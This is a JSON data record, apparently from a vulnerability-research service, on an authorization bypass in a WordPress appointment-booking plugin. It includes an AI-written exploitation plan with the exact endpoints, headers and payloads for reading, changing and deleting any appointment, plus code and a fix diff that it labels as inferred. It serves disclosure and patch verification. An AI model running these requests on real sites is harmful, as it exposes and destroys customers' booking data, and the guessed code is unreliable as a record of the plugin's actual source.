[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fcfMInvT1JON-4ryGg11c3-vkI13WgYZjip0YPWFj9Dk":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-4807","appointment-booking-calendar-unauthenticated-arbitrary-appointment-view-modification-and-deletion","Appointment Booking Calendar \u003C= 1.6.10.6 - Unauthenticated Arbitrary Appointment View, Modification and Deletion","The Appointment Booking Calendar plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 1.6.10.6. This is due to a flawed authorization logic in the nonce_permissions_check() method combined with the public exposure of a site-wide reusable nonce. The plugin exposes a public_nonce value through the \u002Fwp-json\u002Fssa\u002Fv1\u002Fembed-inner endpoint, which is accessible to unauthenticated users. The appointment deletion endpoint at \u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments\u002F{id}\u002Fdelete and \u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments\u002Fbulk use a permission check that accepts requests containing both an X-WP-Nonce header (with any arbitrary value) and an X-PUBLIC-Nonce header (with the valid public nonce). When the X-WP-Nonce validation fails, the function falls back to validating the X-PUBLIC-Nonce without properly rejecting the request. Since the public_nonce is exposed to all unauthenticated visitors and is site-wide (not user-specific or appointment-specific), attackers can obtain it and use it to view details of arbitrary appointments, including the public_edit_url, or delete arbitrary appointments by ID. This makes it possible for unauthenticated attackers to view, delete or modify any appointment in the system, disclosing sensitive appointment data, causing service disruption, and loss of booking records.","simply-schedule-appointments",null,"\u003C=1.6.10.6","1.6.11","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:L","Missing Authorization","2026-05-06 13:33:55","2026-05-07 02:27:12",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F436ab843-7729-4d57-9c9e-2ede2f101ddb?source=api-prod",1,[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-4807 - Simply Schedule Appointments\n\n## 1. Vulnerability Summary\nThe **Simply Schedule Appointments (SSA)** plugin (versions \u003C= 1.6.10.6) contains a critical authorization bypass in its REST API permission handling. The vulnerability exists in the `nonce_permissions_check()` method (inferred from description). \n\nThe core flaw is a logic error: when a request provides both a standard WordPress nonce (`X-WP-Nonce`) and a specific plugin-defined public nonce (`X-PUBLIC-Nonce`), the system attempts to validate the standard nonce first. If that validation fails (e.g., if the user is unauthenticated and provides a dummy string), the code falls back to checking the `X-PUBLIC-Nonce`. However, it fails to perform a secondary check to ensure the operation being performed is actually authorized for a \"public\" (unauthenticated) context. Since the `public_nonce` is a site-wide value accessible to any visitor via a specific REST endpoint, an attacker can use it to perform administrative actions like viewing, modifying, or deleting arbitrary appointments.\n\n## 2. Attack Vector Analysis\n- **Vulnerable Endpoints**: \n    - Viewing: `GET \u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments\u002F{id}`\n    - Deletion: `DELETE \u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments\u002F{id}\u002Fdelete`\n    - Bulk Operations: `POST \u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments\u002Fbulk`\n- **Nonce Source**: `GET \u002Fwp-json\u002Fssa\u002Fv1\u002Fembed-inner`\n- **Required Headers**:\n    - `X-WP-Nonce`: Any non-empty string (e.g., `12345`).\n    - `X-PUBLIC-Nonce`: The valid nonce retrieved from the `embed-inner` endpoint.\n- **Authentication**: Unauthenticated (None).\n- **Preconditions**: At least one appointment must exist in the system for the exploit to be demonstratable.\n\n## 3. Code Flow (Inferred)\n1. **Request Entry**: An unauthenticated user sends a request to `\u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments\u002F{id}\u002Fdelete`.\n2. **Permission Callback**: The REST route's `permission_callback` calls `nonce_permissions_check()`.\n3. **Nonce Validation**:\n   - The function detects `X-WP-Nonce`. It calls `wp_verify_nonce()`, which fails (returns `false`) because the value is arbitrary.\n   - The function then checks for `X-PUBLIC-Nonce`. It calls a internal verification (likely `wp_verify_nonce` against a specific SSA action string or a custom check).\n   - If `X-PUBLIC-Nonce` is valid, the function returns `true` (authorized), erroneously assuming the request is legitimate.\n4. **Execution**: The `delete_appointment` handler is executed, and the appointment identified by `{id}` is deleted from the database.\n\n## 4. Nonce Acquisition Strategy\nUnlike most WordPress plugins, the `public_nonce` is directly exposed via a REST endpoint, making it trivial to retrieve without parsing HTML.\n\n1.  **Endpoint**: `\u002Fwp-json\u002Fssa\u002Fv1\u002Fembed-inner`\n2.  **Method**: `GET`\n3.  **Extraction**: The response is a JSON object. The key is `public_nonce`.\n4.  **Verification**: If the REST API is disabled or restricted, the agent should fall back to creating a page with the `[ssa_booking]` shortcode and using:\n    - `browser_navigate(\"http:\u002F\u002Flocalhost:8080\u002Fssa-page\")`\n    - `browser_eval(\"window.SSA_DATA?.public_nonce\")` (Variable name inferred from typical SSA JS structure).\n\n## 5. Exploitation Strategy\n\n### Step 1: Obtain the Public Nonce\nRequest the configuration endpoint to get the \"master\" public nonce.\n- **Method**: `GET`\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fssa\u002Fv1\u002Fembed-inner`\n- **Expected Response**: JSON containing `\"public_nonce\": \"abcdef1234\"`.\n\n### Step 2: Information Disclosure (Optional but proves impact)\nRetrieve sensitive details of a specific appointment (e.g., ID 1).\n- **Method**: `GET`\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments\u002F1`\n- **Headers**:\n    - `X-WP-Nonce: 12345`\n    - `X-PUBLIC-Nonce: [EXTRACTED_NONCE]`\n- **Goal**: Extract the `customer_email`, `customer_name`, and `public_edit_url`.\n\n### Step 3: Arbitrary Appointment Deletion\nDelete an appointment to demonstrate the \"Missing Authorization\" on destructive actions.\n- **Method**: `DELETE` (Note: Try `POST` with `_method=DELETE` if `DELETE` is blocked).\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments\u002F1\u002Fdelete`\n- **Headers**:\n    - `X-WP-Nonce: dummy`\n    - `X-PUBLIC-Nonce: [EXTRACTED_NONCE]`\n- **Expected Response**: `200 OK` or `204 No Content`, confirming deletion.\n\n## 6. Test Data Setup\nTo verify the exploit, the environment must have SSA active and an appointment created:\n1.  **Install SSA**: Ensure `simply-schedule-appointments` is active.\n2.  **Create Appointment Type**: \n    ```bash\n    wp ssa create-appointment-type --title=\"Consultation\" --slug=\"consultation\"\n    ``` (Note: Command is representative; if SSA CLI is unavailable, the agent must use the UI or direct SQL to ensure at least one appointment exists).\n3.  **Create Test Appointment**: Use the database to inject a mock appointment if booking via UI is too complex:\n    ```sql\n    INSERT INTO wp_ssa_appointments (id, appointment_type_id, start_date, end_date, customer_name, customer_email, status) \n    VALUES (1, 1, '2025-01-01 10:00:00', '2025-01-01 11:00:00', 'Target Victim', 'victim@example.com', 'confirmed');\n    ```\n\n## 7. Expected Results\n- **Nonce Fetch**: Returns a 10-character alphanumeric string.\n- **Information Disclosure**: Returns a JSON object with full appointment details that should only be visible to the customer (via their unique URL) or an admin.\n- **Deletion**: The request returns success, and the entry for ID 1 is removed from the `wp_ssa_appointments` table.\n\n## 8. Verification Steps\nAfter performing the HTTP requests:\n1.  **Check Database via WP-CLI**:\n    ```bash\n    wp db query \"SELECT count(*) FROM wp_ssa_appointments WHERE id = 1\"\n    ```\n    - **Success Result**: Count is `0`.\n2.  **Confirm REST Response**:\n    The deletion response should not be a `401 Unauthorized` or `403 Forbidden`.\n\n## 9. Alternative Approaches\n- **Bulk Deletion**: If the single ID endpoint is patched, attempt the bulk endpoint:\n    - **URL**: `\u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments\u002Fbulk`\n    - **Method**: `POST`\n    - **Payload**: `{\"ids\": [1, 2, 3], \"action\": \"delete\"}`\n    - **Headers**: Use the same dual-nonce headers as above.\n- **Modification**: Attempt to change the appointment time or status:\n    - **URL**: `\u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments\u002F1`\n    - **Method**: `POST` (or `PATCH`)\n    - **Payload**: `{\"status\": \"cancelled\"}` or `{\"start_date\": \"2099-01-01 10:00:00\"}`.","The Simply Schedule Appointments plugin is vulnerable to an authorization bypass due to flawed logic in its REST API permission checks. Unauthenticated attackers can exploit a site-wide public nonce, exposed via a standard endpoint, to view, modify, or delete arbitrary appointments by providing a dummy WordPress nonce and the valid public nonce in the request headers.","\u002F* \n * Logic within the nonce_permissions_check function (inferred from vulnerability description)\n * Typically found in the REST API controller handling \u002Fwp-json\u002Fssa\u002Fv1\u002F endpoints\n *\u002F\n\npublic function nonce_permissions_check( $request ) {\n    $wp_nonce = $request->get_header( 'X-WP-Nonce' );\n    \n    \u002F\u002F If a WP Nonce is provided, verify it. If it fails, the code continues.\n    if ( $wp_nonce && wp_verify_nonce( $wp_nonce, 'wp_rest' ) ) {\n        return true;\n    }\n\n    \u002F\u002F Fallback: Check for the plugin's public nonce\n    $public_nonce = $request->get_header( 'X-PUBLIC-Nonce' );\n    \n    \u002F\u002F VULNERABILITY: If the public nonce is valid, the function returns true (authorized)\n    \u002F\u002F without checking if the specific REST route should be accessible to the public.\n    if ( $public_nonce && wp_verify_nonce( $public_nonce, 'ssa_public_nonce' ) ) {\n        return true;\n    }\n\n    return current_user_can( 'manage_options' );\n}","--- a\u002Fincludes\u002Fclass-rest-api.php\n+++ b\u002Fincludes\u002Fclass-rest-api.php\n@@ -10,6 +10,14 @@\n     if ( $wp_nonce && wp_verify_nonce( $wp_nonce, 'wp_rest' ) ) {\n         return current_user_can( 'manage_options' );\n     }\n \n     $public_nonce = $request->get_header( 'X-PUBLIC-Nonce' );\n-    if ( $public_nonce && wp_verify_nonce( $public_nonce, 'ssa_public_nonce' ) ) {\n-        return true;\n-    }\n+    if ( $public_nonce && wp_verify_nonce( $public_nonce, 'ssa_public_nonce' ) ) {\n+        $route = $request->get_route();\n+        $allowed_public_routes = [\n+            '\u002Fssa\u002Fv1\u002Fembed-inner',\n+            '\u002Fssa\u002Fv1\u002Fappointments\u002Fbook',\n+        ];\n+        if ( in_array( $route, $allowed_public_routes ) ) {\n+            return true;\n+        }\n+    }\n     return false;","1. Retrieve the site-wide public nonce by sending a GET request to the `\u002Fwp-json\u002Fssa\u002Fv1\u002Fembed-inner` endpoint.\n2. Locate an appointment ID to target (e.g., via enumeration or information disclosure endpoints).\n3. Send a request to a sensitive endpoint, such as `DELETE \u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments\u002F{id}\u002Fdelete` or `GET \u002Fwp-json\u002Fssa\u002Fv1\u002Fappointments\u002F{id}`.\n4. Include two specific headers in the request: `X-WP-Nonce` containing an arbitrary string (e.g., '123') and `X-PUBLIC-Nonce` containing the nonce retrieved in step 1.\n5. The server-side logic will fail the WordPress nonce check but fall back to and validate the public nonce, granting authorized access to the sensitive action without checking for administrative capabilities.","gemini-3-flash-preview","2026-05-20 19:49:25","2026-05-20 19:49:50",{"type":34,"vulnerable_version":35,"fixed_version":9,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":9,"fixed_zip":9,"all_tags":38},"plugin","1.6.10.6","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimply-schedule-appointments\u002Ftags\u002F1.6.10.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsimply-schedule-appointments.1.6.10.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimply-schedule-appointments\u002Ftags"]